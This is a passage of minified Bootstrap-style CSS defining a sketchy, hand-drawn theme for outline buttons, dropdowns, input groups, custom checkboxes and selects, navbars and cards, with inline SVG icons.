rgba(23,162,184,0.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled):active,.btn-outline-info:not(:disabled):not(.disabled).active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled):active:focus,.btn-outline-info:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5);box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5)}.btn-outline-warning{color:#ffc107;background-color:transparent;background-image:none;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:focus,.btn-outline-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,193,7,0.5);box-shadow:0 0 0 0.2rem rgba(255,193,7,0.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled):active,.btn-outline-warning:not(:disabled):not(.disabled).active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,193,7,0.5);box-shadow:0 0 0 0.2rem rgba(255,193,7,0.5)}.btn-outline-danger{color:#dc3545;background-color:transparent;background-image:none;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:focus,.btn-outline-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(220,53,69,0.5);box-shadow:0 0 0 0.2rem rgba(220,53,69,0.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled):active,.btn-outline-danger:not(:disabled):not(.disabled).active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(220,53,69,0.5);box-shadow:0 0 0 0.2rem rgba(220,53,69,0.5)}.btn-outline-light{color:#fff;background-color:transparent;background-image:none;border-color:#fff}.btn-outline-light:hover{color:#212529;background-color:#fff;border-color:#fff}.btn-outline-light:focus,.btn-outline-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,255,255,0.5);box-shadow:0 0 0 0.2rem rgba(255,255,255,0.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#fff;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled):active,.btn-outline-light:not(:disabled):not(.disabled).active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#fff;border-color:#fff}.btn-outline-light:not(:disabled):not(.disabled):active:focus,.btn-outline-light:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(255,255,255,0.5);box-shadow:0 0 0 0.2rem rgba(255,255,255,0.5)}.btn-outline-dark{color:#555;background-color:transparent;background-image:none;border-color:#555}.btn-outline-dark:hover{color:#fff;background-color:#555;border-color:#555}.btn-outline-dark:focus,.btn-outline-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#555;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled):active,.btn-outline-dark:not(:disabled):not(.disabled).active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#555;border-color:#555}.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5);box-shadow:0 0 0 0.2rem rgba(85,85,85,0.5)}.btn-link{font-weight:400;color:#333;background-color:transparent}.btn-link:hover{color:#0d0d0d;text-decoration:underline;background-color:transparent;border-color:transparent}.btn-link:focus,.btn-link.focus{text-decoration:underline;border-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link:disabled,.btn-link.disabled{color:#868e96}.btn-lg,.btn-group-lg>.btn{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:555px 25px 15px 25px/25px 5px 35px 555px}.btn-sm,.btn-group-sm>.btn{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:0.5rem}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity 0.15s linear;transition:opacity 0.15s linear}.fade.show{opacity:1}.collapse{display:none}.collapse.show{display:block}tr.collapse.show{display:table-row}tbody.collapse.show{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;transition:height 0.35s ease}.dropup,.dropdown{position:relative}.dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid;border-right:0.3em solid transparent;border-bottom:0;border-left:0.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:0.5rem 0;margin:0.125rem 0 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:2px solid #333;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.dropup .dropdown-menu{margin-top:0;margin-bottom:0.125rem}.dropup .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0;border-right:0.3em solid transparent;border-bottom:0.3em solid;border-left:0.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{margin-top:0;margin-left:0.125rem}.dropright .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-bottom:0.3em solid transparent;border-left:0.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{margin-top:0;margin-right:0.125rem}.dropleft .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;width:0;height:0;margin-right:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-right:0.3em solid;border-bottom:0.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:0.5rem 0;overflow:hidden;border-top:1px solid #333}.dropdown-item{display:block;width:100%;padding:0.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:hover,.dropdown-item:focus{color:#fff;text-decoration:none;background-color:#333}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#333}.dropdown-item.disabled,.dropdown-item:disabled{color:#868e96;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:0.5rem 1.5rem;margin-bottom:0;font-size:0.875rem;color:#868e96;white-space:nowrap}.btn-group,.btn-group-vertical{position:relative;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover{z-index:1}.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn.active{z-index:1}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group,.btn-group-vertical .btn+.btn,.btn-group-vertical .btn+.btn-group,.btn-group-vertical .btn-group+.btn,.btn-group-vertical .btn-group+.btn-group{margin-left:-2px}.btn-toolbar{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:not(:last-child):not(.dropdown-toggle),.btn-group>.btn-group:not(:last-child)>.btn{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:not(:first-child),.btn-group>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:0.5625rem;padding-left:0.5625rem}.dropdown-toggle-split::after{margin-left:0}.btn-sm+.dropdown-toggle-split,.btn-group-sm>.btn+.dropdown-toggle-split{padding-right:0.375rem;padding-left:0.375rem}.btn-lg+.dropdown-toggle-split,.btn-group-lg>.btn+.dropdown-toggle-split{padding-right:0.75rem;padding-left:0.75rem}.btn-group-vertical{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.btn-group-vertical .btn,.btn-group-vertical .btn-group{width:100%}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-2px;margin-left:0}.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle),.btn-group-vertical>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:not(:first-child),.btn-group-vertical>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type="radio"],.btn-group-toggle>.btn input[type="checkbox"],.btn-group-toggle>.btn-group>.btn input[type="radio"],.btn-group-toggle>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.custom-select,.input-group>.custom-file{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.form-control:focus,.input-group>.custom-select:focus,.input-group>.custom-file:focus{z-index:3}.input-group>.form-control+.form-control,.input-group>.form-control+.custom-select,.input-group>.form-control+.custom-file,.input-group>.custom-select+.form-control,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.custom-file,.input-group>.custom-file+.form-control,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.custom-file{margin-left:-2px}.input-group>.form-control:not(:last-child),.input-group>.custom-select:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.form-control:not(:first-child),.input-group>.custom-select:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::before{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label,.input-group>.custom-file:not(:first-child) .custom-file-label::before{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-prepend,.input-group-append{display:-webkit-box;display:-ms-flexbox;display:flex}.input-group-prepend .btn,.input-group-append .btn{position:relative;z-index:2}.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.input-group-text,.input-group-append .input-group-text+.btn{margin-left:-2px}.input-group-prepend{margin-right:-2px}.input-group-append{margin-left:-2px}.input-group-text{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:0.375rem 0.75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#555;text-align:center;white-space:nowrap;background-color:#f7f7f9;border:2px solid #333;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.input-group-text input[type="radio"],.input-group-text input[type="checkbox"]{margin-top:0}.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text,.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked ~ .custom-control-label::before{color:#fff;background-color:#333}.custom-control-input:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(51,51,51,0.25);box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(51,51,51,0.25)}.custom-control-input:active ~ .custom-control-label::before{color:#fff;background-color:#8c8c8c}.custom-control-input:disabled ~ .custom-control-label{color:#868e96}.custom-control-input:disabled ~ .custom-control-label::before{background-color:#f7f7f9}.custom-control-label{margin-bottom:0}.custom-control-label::before{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;pointer-events:none;content:"";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#dee2e6}.custom-control-label::after{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;content:"";background-repeat:no-repeat;background-position:center center;background-size:50% 50%}.custom-checkbox .custom-control-label::before{border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before{background-color:#333}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before{background-color:#333}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(51,51,51,0.5)}.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before{background-color:rgba(51,51,51,0.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked ~ .custom-control-label::before{background-color:#333}.custom-radio .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E")}.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(51,51,51,0.5)}.custom-select{display:inline-block;width:100%;height:calc(2.25rem + 4px);padding:0.375rem 1.75rem 0.375rem 0.75rem;line-height:1.5;color:#555;vertical-align:middle;background:#fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23333' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right 0.75rem center;background-size:8px 10px;border:2px solid #333;border-radius:255px 25px 225px 25px/25px 225px 25px 255px;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#333;outline:0;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(51,51,51,0.5);box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(51,51,51,0.5)}.custom-select:focus::-ms-value{color:#555;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:0.75rem;background-image:none}.custom-select:disabled{color:#868e96;background-color:#f7f7f9}.custom-select::-ms-expand{opacity:0}.custom-select-sm{height:calc(1.8125rem + 4px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:75%}.custom-select-lg{height:calc(2.875rem + 4px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:125%}.custom-file{position:relative;display:inline-block;width:100%;height:calc(2.25rem + 4px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(2.25rem + 4px);margin:0;opacity:0}.custom-file-input:focus ~ .custom-file-control{border-color:#333;-webkit-box-shadow:0 0 0 0.2rem rgba(51,51,51,0.25);box-shadow:0 0 0 0.2rem rgba(51,51,51,0.25)}.custom-file-input:focus ~ .custom-file-control::before{border-color:#333}.custom-file-input:lang(en) ~ .custom-file-label::after{content:"Browse"}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(2.25rem + 4px);padding:0.375rem 0.75rem;line-height:1.5;color:#555;background-color:#fff;border:2px solid #333;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(calc(2.25rem + 4px) - 2px * 2);padding:0.375rem 0.75rem;line-height:1.5;color:#555;content:"Browse";background-color:#f7f7f9;border-left:2px solid #333;border-radius:0 255px 25px 225px 25px/25px 225px 25px 255px 255px 25px 225px 25px/25px 225px 25px 255px 0}.nav{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:0.5rem 1rem}.nav-link:hover,.nav-link:focus{text-decoration:none}.nav-link.disabled{color:#868e96}.nav-tabs{border-bottom:2px solid #333}.nav-tabs .nav-item{margin-bottom:-2px}.nav-tabs .nav-link{border:2px solid transparent;border-top-left-radius:255px 25px 225px 25px/25px 225px 25px 255px;border-top-right-radius:255px 25px 225px 25px/25px 225px 25px 255px}.nav-tabs .nav-link:hover,.nav-tabs .nav-link:focus{border-color:#333}.nav-tabs .nav-link.disabled{color:#868e96;background-color:transparent;border-color:transparent}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#333;background-color:#fff;border-color:#333}.nav-tabs .dropdown-menu{margin-top:-2px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#333}.nav-fill .nav-item{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:0.5rem 1rem}.navbar>.container,.navbar>.container-fluid{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:0.3125rem;padding-bottom:0.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-nav{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:0.5rem;padding-bottom:0.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:0.25rem 0.75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:2px solid transparent;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.navbar-toggler:hover,.navbar-toggler:focus{text-decoration:none}.navbar-toggler:not(:disabled):not(.disabled){cursor:pointer}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width: 575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 576px){.navbar-expand-sm{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-sm .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 768px){.navbar-expand-md{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-md .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 992px){.navbar-expand-lg{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-lg .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 1200px){.navbar-expand-xl{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-xl .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .dropup .dropdown-menu{top:auto;bottom:100%}}.navbar-expand{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .dropup .dropdown-menu{top:auto;bottom:100%}.navbar-light .navbar-brand{color:#333}.navbar-light .navbar-brand:hover,.navbar-light .navbar-brand:focus{color:#333}.navbar-light .navbar-nav .nav-link{color:#333}.navbar-light .navbar-nav .nav-link:hover,.navbar-light .navbar-nav .nav-link:focus{color:#333}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,0.3)}.navbar-light .navbar-nav .show>.nav-link,.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .nav-link.active{color:#333}.navbar-light .navbar-toggler{color:#333;border-color:#333}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='%23333' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-light .navbar-text{color:#333}.navbar-light .navbar-text a{color:#333}.navbar-light .navbar-text a:hover,.navbar-light .navbar-text a:focus{color:#333}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:hover,.navbar-dark .navbar-brand:focus{color:#fff}.navbar-dark .navbar-nav .nav-link{color:#fff}.navbar-dark .navbar-nav .nav-link:hover,.navbar-dark .navbar-nav .nav-link:focus{color:#fff}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,0.25)}.navbar-dark .navbar-nav .show>.nav-link,.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .nav-link.active{color:#fff}.navbar-dark .navbar-toggler{color:#fff;border-color:#fff}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='%23fff' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-dark .navbar-text{color:#fff}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:hover,.navbar-dark .navbar-text a:focus{color:#fff}.card{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:2px solid #333;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child 